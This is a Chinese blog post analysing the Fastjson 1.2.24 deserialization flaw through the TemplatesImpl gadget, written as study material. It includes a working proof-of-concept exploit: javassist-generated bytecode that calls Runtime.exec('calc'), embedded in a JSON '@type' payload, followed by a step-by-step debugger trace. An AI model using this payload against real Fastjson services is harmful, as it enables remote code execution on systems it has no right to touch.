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F4de
2020-12-01

Fastjson反序列化(2)-TemplatesImpl利用链

# 前言

在Fastjson版本为1.2.22-1.2.24的时候存在反序列化漏洞，这个漏洞可以基于两种利用方式：

  • 基于TemplatesImpl的恶意字节码
  • 基于JdbcRowSetImpl的JNDI

下面笔者会就这两种利用方式来对这个漏洞进行调试分析。

# 基于TemplatesImpl

# 环境配置

环境

  • Fastjson 1.2.22-1.2.24（笔者使用的是1.2.24）
  • JDK 8u101

POC用的额外的jar包

  • commons-codec-1.9（用于对class文件进行base64编码）
  • javassist（用于生成恶意字节码文件）

# POC(1)

笔者这里先把poc放下面，之后再进行调试分析：

public class Demo {
    public static void main(String[] args) throws Exception {
        /*
        利用javassist来生成恶意字节码
         */
        // 获取类池对象
        ClassPool aDefault = ClassPool.getDefault();
        // 向类池中添加类
        aDefault.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass calc = aDefault.makeClass("Calc");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        // 生成恶意static代码块
        calc.makeClassInitializer().insertBefore(cmd);
        calc.setSuperclass(aDefault.get(AbstractTranslet.class.getName()));
        // 获取字节数组
        byte[] bytes = calc.toBytecode();
        // 获取恶意字节码
        String base64ClassString = Tools.getBase64String(bytes);
        // 生成payload
        String payload = "{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl','_bytecodes':['" + base64ClassString + "'],'_name':'f4de','_tfactory':{},'_outputProperties':{}}";
        payload = Tools.processString(payload);
        System.out.println(payload);
        // 进行反序列化
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}
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为了方便写POC，笔者额外写了一个Tools类来对payload进行处理：

public class Tools {
    /*
    处理json字符串，用"来替换'
     */
    public static String processString(String string) {
        string = string.replace("'", "\"");
        return string;
    }
    /*
    根据class文件的路径生成base64字符串
     */
    public static String getBase64String(String classPath) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(classPath)), byteArrayOutputStream);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(byteArrayOutputStream.toByteArray());
    }
    /*
    根据字节数组直接生成base64字符串
    建议搭配javassist来使用
     */
    public static String getBase64String(byte[] bytes) throws Exception {
        return Base64.encodeBase64String(bytes);
    }
}
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运行POC：

image-20201201112355907

# POC(1)分析

# 限制条件

  • 必须开启Feature.SupportNonPublicField才能RCE成功

# 前置知识

如果调试过CC链的朋友应该都知道CC2就是基于恶意字节码来进行利用的，利用点在于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类。在这里也是利用了同样的方式，如果不熟悉也没关系，我们下面对这个类进行简单的分析：

这个类中的成员变量大多是被private所修饰，其中漏洞的利用点在_bytecodes和_outputProperties这两个成员变量。

先看_outputProperties的构造方法getOutputProperties()：

image-20201201114210585

这里调用了newTransformer()这个方法，继续跟进：

image-20201201115122002

接着调用了getTransletInstance()，继续跟进：

image-20201201191844480

再跟进defineTransletClasses():

image-20201201192042667

在这个方法中会对_bytecodes[]这个字节数组进行defineClass处理，作用就是把字节码文件还原成一个类，并把结果赋值给_class[i]。但是在还原的过程中不会调用这个类的构造函数和static静态代码块，只有显式的调用其构造函数，构造方法和类初始化代码块才会被执行，所以我们再回到getTransletInstance()方法：

image-20201201193040393

在这里调用了_class[]数组中的类中的构造方法和类的初始化代码块。

由于篇幅所限，又涉及到了Java字节码的知识，这里就只能对它进行简单的分析，如果有机会以后会写一篇文章来详细说一下Java字节码。

# 分析

直接在最后一行的JSON.parseObject打下断点，先跟进到JSON.parse方法，此时的函数调用栈如下：

parse:136, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
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这里的会根据生成的parser来进行解析，先跟进该类的的构造方法看一下：

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调用了JSONScanner的构造方法生成该类的实例，这个对象是用于词法解析的，跳出这个方法然后再回到DefaultJSONParser，继续跟进this()：

image-20201204170121458

这里会拿到JSON文本的第一个字符{，然后lexer.next()方法会把JSONScanner（以下简称扫描器）的解析指针往后移一位：

image-20201204171106132

然后再设置token为12。再往下跟进到DefaultJSONParser.parse，此时调用栈如下：

parse:1306, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
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跟进该方法：

image-20201204171502845

这里会根据我们之前获取的token来进入不同的case分支，由于我们的token是12，所以进入了这里：

image-20201204171559424

接着跟进parseObject：

image-20201204171711945

扫描器的scanSymbol方法会把我们第一个键名@type扫描出来，然后根据@type进入这里：

image-20201204172310392

这里的scanSymbol会扫描出@type所指定的类，这里是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，然后调用TypeUtils.loadClass加载该类到缓存中并返回这个类（这里先不详细展开说，后面说补丁绕过会具体跟进这个方法调试）。

当我们获取到这个类之后再往下调试，这里会根据获取到的clazz来获取对应的deserializer：

image-20201204172836744

跟进该方法调试到如下位置：

image-20201204173912481

此时函数调用栈如下：

createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
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跟进该方法到如下关键位置，调用了JavaBeanInfo.buid：

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再跟进该方法：

image-20201204193240564

这个方法中会通过反射来获取传入的clazz的全部方法和成员变量，然后在这里会对方法进行筛选，我们在上一篇文章中说的满足条件的setter和getter就是在这里筛选出来的，之后会把筛选出来的方法添加到fieldList中，由于这部分代码比较长，我这里就截取一部分：

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image-20201204194035212

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筛选完方法之后就作为参数传入JavaBeanInfo的构造方法中用于生成该类的实例，也就是对应的deserializer：

image-20201204194307688

然后返回上层，准备执行JavaBeanDeserializer.deserialze这个关键函数：

image-20201204194602032

跟进该方法，方法内会循环扫描解析，当扫描到key为_bytecodes的时候会调用这里的DefaultJSONParser.parseField来对其进行解析：

image-20201204201926874

继续跟进，方法内调用了smartMatch方法来匹配key来获取对应的FieldDeserializer：

image-20201204202540732

我们再跟进这个方法，在这个方法中会拿_bytecodes和JavaBeanDeserializer.sortedFieldDeserializers中的fieldInfo来进行比较：

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_bytecodes会因为条件都不满足最后返回null，我们再回到上层的smartMatch，因为获取到的fieldDeserializer为null，所以会进入到下面这个分支中：

image-20201204203804697

在这个分支中会把key的-，_等替换为空：

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经过处理后_bytecodes变成了bytecodes，然后再次调用getFieldDeserializer获取对应的fieldDeserializer：

image-20201204204041018

但是返回的仍是null，再经过smartMatch这么多处理之后还是没有获取到相应的fieldDeserializer，之后会在JavaBeanDeserializer#parseField中创建一个DefaultFieldDeserializer：

image-20201204213023811

然后调用DefaultFieldDeserializer#parseField，进行_bytecodes的解析：

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跟进该方法，在这里会把JSON文本中的_bytecodes的值解析出来：

image-20201204213504691

接着跟进该方法，然后会进入到DefaultJSONParser#parseArray方法：

image-20201204213651091

接着跟进方法，调试到这个关键位置：

image-20201204213759910

跟进，然后这里会获取一个byte数组，也就是_bytes所对应的值：

image-20201204213951025

跟进箭头所指的方法，发现它对数组进行了一次base64解码（这就是为什么POC中要对_bytecodes的值进行base64编码的原因）：

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此时函数的调用栈如下：

bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
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之后我们返回上层，这里就把base64解码之后的数据返回给变量val：

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逐层返回到DefaultFieldDeserializer#parseField，现在我们已经通过解析获得了_bytecodes对应的值val，在下面这个断点的地方会对其进行赋值：

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跟一下这个方法，最后调用到了field.set将解析出的val赋值到之前生成对象中：

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再层层返回到JavaBeanDeserializer#deserialze这个方法中，此时对于_bytecodes来说解析已经完成，我们继续往下调试，经过scanSymbol的处理之后得到了第二个键名_name，整个过程和上述基本一致，笔者就不重复分析一遍了，我们要分析的重点是第三个键名_proPerties的处理过程。

回到JavaBeanDeserializer#deserialze之后循环继续循环扫描解析，获得_outputProperties这个key：

image-20201207220135573

继续往下调试到parseField，然后跟进：

image-20201207220344872

获取到对应的fieldDeserializer之后执行DefaultFieldDeserializer#parseField，接着跟进到setValue：

image-20201207220747958

继续跟进，就会发现它首先获取到了_outputProperties对应的getter方法：

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至于为什么会获取到它的getter方法我们在第一篇文章中就已经说过前提条件了，而且在上文中的分析过程中也说明了哪些setter和getter方法会被添加到fieldList中，这里就不赘述了。与_bytecodes不同的是_outputProperties会因为method!=null和fieldInfo.getOnly而进入对应的分支中：

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然后调用了getOutputProperties.invoke：

image-20201207221606099

接着跟进，然后就会触发getOutputProperties方法：

image-20201207221729055

此时的函数调用栈如下：

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
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再跟进newTransformer方法，之后就是我们前置知识中所分析的调用链，直至触发我们所构造的恶意代码，弹出计算器：

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最后的函数调用栈：

getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
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# 基于JdbcRowSetImpl的JNDI

JNDI有两种利用方法：LDAP和RMI

笔者这里使用的是基于RMI的JNDI利用方式(LDAP还没学会，逃

# 环境配置

……未完待续，有时间再更💫

Fastjson(1)-初探以及利用方式
谈一谈Java动态加载字节码

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